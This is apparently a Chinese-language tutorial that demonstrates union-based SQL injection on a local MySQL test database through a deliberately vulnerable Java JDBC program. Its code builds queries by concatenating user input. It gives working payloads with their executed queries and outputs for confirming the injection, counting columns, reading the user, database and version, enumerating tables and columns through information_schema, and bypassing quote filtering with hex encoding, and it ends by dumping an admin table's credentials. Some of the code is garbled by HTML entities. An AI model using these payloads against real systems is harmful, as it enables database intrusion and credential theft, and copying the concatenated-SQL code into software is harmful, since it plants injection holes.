以下是mynona本人原创的,奉献给大家,不要小看数据库注入
参考:
必备知识:
mysql的sql注释符号:#
无论mysql还是sqlServer数据库,里面都有information_schema这个数据库,这个数据库里面TABLES表保存了数据库所有表名,COLUMNS表保存了表 的所有字段名,我们暴库就是针对这两个表。
SQL UNION 操作符
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
LIMIT子句
LIMIT 子句用于规定要返回的记录的数目。
对于拥有成千上万条记录的大型表来说,LIMIT 子句是非常有用的。
语法:SELECT 列名称 FROM 表名称 LIMIT 开始位置, 行数
注意:开始位置可以省略,默认是0位置
测试代码:
数据库连接类
(适合mysql和MSSQL2008)
importjava.sql.Connection;public classDateExecute {privateString user;privateString password;privateString type;privateString databaseName;publicDateExecute(String type, String user, String password, String databaseName){this.type =type;this.user =user;this.password =password;this.databaseName =databaseName;
}publicConnection getConnection()throwsInstantiationException, IllegalAccessException,
ClassNotFoundException, SQLException {
Connection con= null;if(type.equals("mysql")){
String driverName= "com.mysql.jdbc.Driver";
Driver d=(Driver) Class.forName(driverName).newInstance();
con= DriverManager.getConnection("jdbc:mysql://localhost:3306/"+databaseName,
user, password);
}else{
String driverName= "com.microsoft.sqlserver.jdbc.SQLServerDriver";
Driver d=(Driver) Class.forName(driverName).newInstance();
con= DriverManager.getConnection("jdbc:sqlserver://localhost:1433; DatabaseName="+databaseName,
user, password);
}returncon;
}public List>getDateList(String sql)throwsInstantiationException, IllegalAccessException,
ClassNotFoundException, SQLException {
Connection conn=getConnection();
List> list = new ArrayList>();try{//stmt = conn.prepareStatement(sql);//ResultSet rs = stmt.executeQuery(sql);
Statement state =conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);
ResultSet rs=state.executeQuery(sql);
list=convertList(rs);
}catch(SQLException e) {
System.out.println("数据库连接失败");
e.printStackTrace();
}returnlist;
}private List convertList(ResultSet rs) throwsSQLException {
List list= newArrayList();
ResultSetMetaData md=rs.getMetaData();int columnCount = md.getColumnCount(); //Map rowData;
while (rs.next()) { //rowData = new HashMap(columnCount);
Map rowData &#61; new HashMap();for (int i &#61; 1; i <&#61; columnCount; i&#43;&#43;) {
rowData.put(md.getColumnName(i), rs.getObject(i));
}
list.add(rowData);
}returnlist;
}public int executeUpdate(String sql) throwsInstantiationException,
IllegalAccessException, ClassNotFoundException, SQLException {
Connection conn&#61;getConnection();
Statement stmt;int success &#61; 0;try{
stmt&#61;conn.createStatement();
success&#61;stmt.executeUpdate(sql);
}catch(SQLException e) {
System.out.println("数据库连接失败");
e.printStackTrace();
}returnsuccess;
}
}
测试类&#xff1a;
(我们就是在这个类里面构造注入的sql语句)
importjava.sql.SQLException;public classTestSql {public static void main(String[] args) throwsInstantiationException,
IllegalAccessException, ClassNotFoundException, SQLException {//”root”为你mysql用户名&#xff0c;“xxxxx”为密码&#xff0c;“school”为数据库名
DateExecute de &#61; new DateExecute("mysql", "root", "XXXXX","school");//DateExecute de &#61; new DateExecute("mssql", "sa", "abca157992.","school");//MYSQL
String sqlM&#61; "select * from user;";
String sqlInsertM&#61; "insert into user value(24,&#39;mynona&#39;,&#39;122334&#39;)";
String sqlDeleteM&#61; "delete from user where name &#61; &#39;mynona&#39;";
System.out.println(de.getDateList(sqlbefore&#43;sql));//MSSQL/*String sqlbefore &#61; "select * from student where id &#61; 1 ";
String sql &#61; " and 1&#61;2 union select 1,column_name,3 from information_schema.columns where table_name&#61;&#39;student&#39;";
String sqlInsert &#61; "insert into student values(6, 222, 111)";
String sqlDelete &#61; "delete from student where id &#61; 4";*/
//de.executeUpdate(sqlInsert);
}
}
测试数据库&#xff1a;
测试数据&#xff1a;
假设我们的目标是admin这个表&#xff0c;对于user这个表有个注入点:
Select * from user where name &#61; ‘’;
具体如下&#xff1a;
public classTestSql {public static void main(String[] args) throwsInstantiationException,
IllegalAccessException, ClassNotFoundException, SQLException {
DateExecute de&#61; new DateExecute("mysql", "root", "157992","school");
String name&#61; "admin";
String password&#61;"mynona";
String sql&#61; "select * from user where name &#61; &#39;" &#43; name &#43;"&#39; and password &#61; &#39;" &#43; password &#43; "&#39;";
System.out.println("执行的sql语句:\n" &#43;sql);
System.out.println(de.getDateList(sql));
}
}
上面那条sql语句明显两个sql注入点&#xff0c;分别是name和password
运行上面的程序&#xff0c;可以正常输出&#xff1a;
[{id&#61;1, name&#61;admin, password&#61;mynona}]
现在我们要针对name这个注入点构造注入的sql语句。
判断注入点&#xff1a;
目标&#xff1a;看看是否有注入
我们令
name &#61;"mynona and 1&#61;1 #";
然后指向上面的测试代码&#xff1a;
执行的sql语句:
select * from user where name &#61; &#39;mynona&#39; and 1&#61;1 #&#39; and password &#61; &#39;mynona&#39;
输出结果&#xff1a;
[{id&#61;2, name&#61;mynona, password&#61;122334}]
还是之前的数据&#xff0c;没变化
再令&#xff1a;
name &#61;"mynona and 1&#61;2 #";
执行的sql语句:
select * from user where name &#61; &#39;mynona&#39; and 1&#61;2 #&#39; and password &#61; &#39;mynona&#39;
输出结果&#xff1a;
[]
没有数据了&#xff0c;说明有注入
(tip:sql语句中“#”后面的内容会被忽略)
判断字段数(重要)&#xff1a;
目标&#xff1a;看看当前注入点select了几个字段
(知道这些字段数后以后我们做union语句时就等与这相等)
分别构造&#xff1a;
name &#61;"mynona&#39; order by 1 #"; 输出正常
name&#61;"mynona&#39; order by 2 #";输出正常
name&#61;"mynona&#39; order by 3 #";输出正常
name&#61;"mynona&#39; order by 4 #";错误输出
由此可以知道当前的表有3个字段
然后我们联合查询&#xff1a;
name &#61;"mynona&#39; and 1&#61;2 union select 1,2,3 #";
执行的sql语句:
select * from user where name &#61; &#39;mynona&#39; and 1&#61;2 union select 1,2,3 #&#39; and password &#61; &#39;mynona&#39;
输出结果&#xff1a;
[{id&#61;1, name&#61;2, password&#61;3}]
查看用户名&#xff1a;
name &#61;"mynona&#39; and 1&#61;2 union select 1,user(),3 #";
执行的sql语句:
select * from user where name &#61; &#39;mynona&#39; and 1&#61;2 union select 1,user(),3 #&#39; and password &#61; &#39;mynona&#39;
输出结果&#xff1a;
[{id&#61;1, name&#61;root&#64;localhost, password&#61;3}]
现在用户名出来了&#xff0c;是root
查看数据库&#xff1a;
name &#61;"mynona&#39; and 1&#61;2 union select 1,database(),3 #";
执行的sql语句:
select * from user where name &#61; &#39;mynona&#39; and 1&#61;2 union select 1,database(),3 #&#39; and password &#61; &#39;mynona&#39;
输出结果&#xff1a;
[{id&#61;1, name&#61;school, password&#61;3}]
当前数据库名也出来了&#xff1a;school
查看数据库版本&#xff1a;
name &#61;"mynona&#39; and 1&#61;2 union select 1,version(),3 #";
执行的sql语句:
select * from user where name &#61; &#39;mynona&#39; and 1&#61;2 union select 1,version(),3 #&#39; and password &#61; &#39;mynona&#39;
输出结果&#xff1a;
[{id&#61;1, name&#61;5.5.34, password&#61;3}]
可以看到mysql版本是5.5.34
开始爆库&#xff1a;
在mysql里有information_schema这个库&#xff0c;这个库里有tables表&#xff0c;表中有table_schema字段&#xff0c;这个字段储存的时mysql里所有的库名&#xff0c;同时还有table_name这个字段&#xff0c;储存的是MySQL里所有的表名。
遍历数据库school里面的所有表&#xff1a;
其实就是差information_schema数据库里面的TABLES表
name &#61;"mynona&#39; union select TABLE_NAME,2,3 from information_schema.tables where table_schema&#61;&#39;school&#39;# ";
提示&#xff1a;如果对方网站过滤了单引号的话&#xff0c;可以把字符转为16进制&#xff1a;
如school 的十六进制为&#xff1a;0x7363686F6F6C
那么上面那条语句可以变为&#xff1a;
name &#61;"mynona&#39; union select TABLE_NAME,2,3 from information_schema.tables where table_schema&#61;0x7363686F6F6C# ";
执行的sql语句:
select * from user where name &#61; &#39;mynona&#39; union select TABLE_NAME,2,3 from information_schema.tables where table_schema&#61;0x7363686F6F6C# &#39; and password &#61; &#39;mynona&#39;
输出结果&#xff1a;
[{id&#61;2, name&#61;mynona, password&#61;122334}, {id&#61;admin, name&#61;2, password&#61;3}, {id&#61;user, name&#61;2, password&#61;3}]
可以看到school数据库的表为user, admin
看到这里&#xff0c;应该高兴&#xff0c;因为admin说不定就存储这管理员的用户名和密码
下面我们遍历admin表(其实就跟上面遍历user表差不多)
其实就是查询数据库information_schema表里面的COLUMNS表
name &#61;"mynona&#39; union select 1,2,COLUMN_NAME from information_schema.&#96;COLUMNS&#96; where TABLE_NAME &#61; &#39;admin&#39;# ";
执行的sql语句:
select * from user where name &#61; &#39;mynona&#39; union select 1,2,COLUMN_NAME from information_schema.&#96;COLUMNS&#96; where TABLE_NAME &#61; &#39;admin&#39;# &#39; and password &#61; &#39;mynona&#39;
输出结果&#xff1a;
[{id&#61;2, name&#61;mynona, password&#61;122334}, {id&#61;1, name&#61;2, password&#61;id}, {id&#61;1, name&#61;2, password&#61;name}, {id&#61;1, name&#61;2, password&#61;phone}, {id&#61;1, name&#61;2, password&#61;sex}, {id&#61;1, name&#61;2, password&#61;tel}, {id&#61;1, name&#61;2, password&#61;password}]
可以看到遍历出了表admin的字段为&#xff1a;id,name,phone,sex,tel,password
遍历name和password字段的数据&#xff1a;
name &#61;"mynona&#39; union select 1,concat(name),concat(password) from admin # ";
执行的sql语句:
select * from user where name &#61; &#39;mynona&#39; union select 1,concat(name),concat(password) from admin # &#39; and password &#61; &#39;mynona&#39;
输出结果&#xff1a;
[{id&#61;2, name&#61;mynona, password&#61;122334}, {id&#61;1, name&#61;admin, password&#61;mynona}]
得出&#xff1a;name&#61;admin,password&#61; mynona
就这样admin表遍历出来了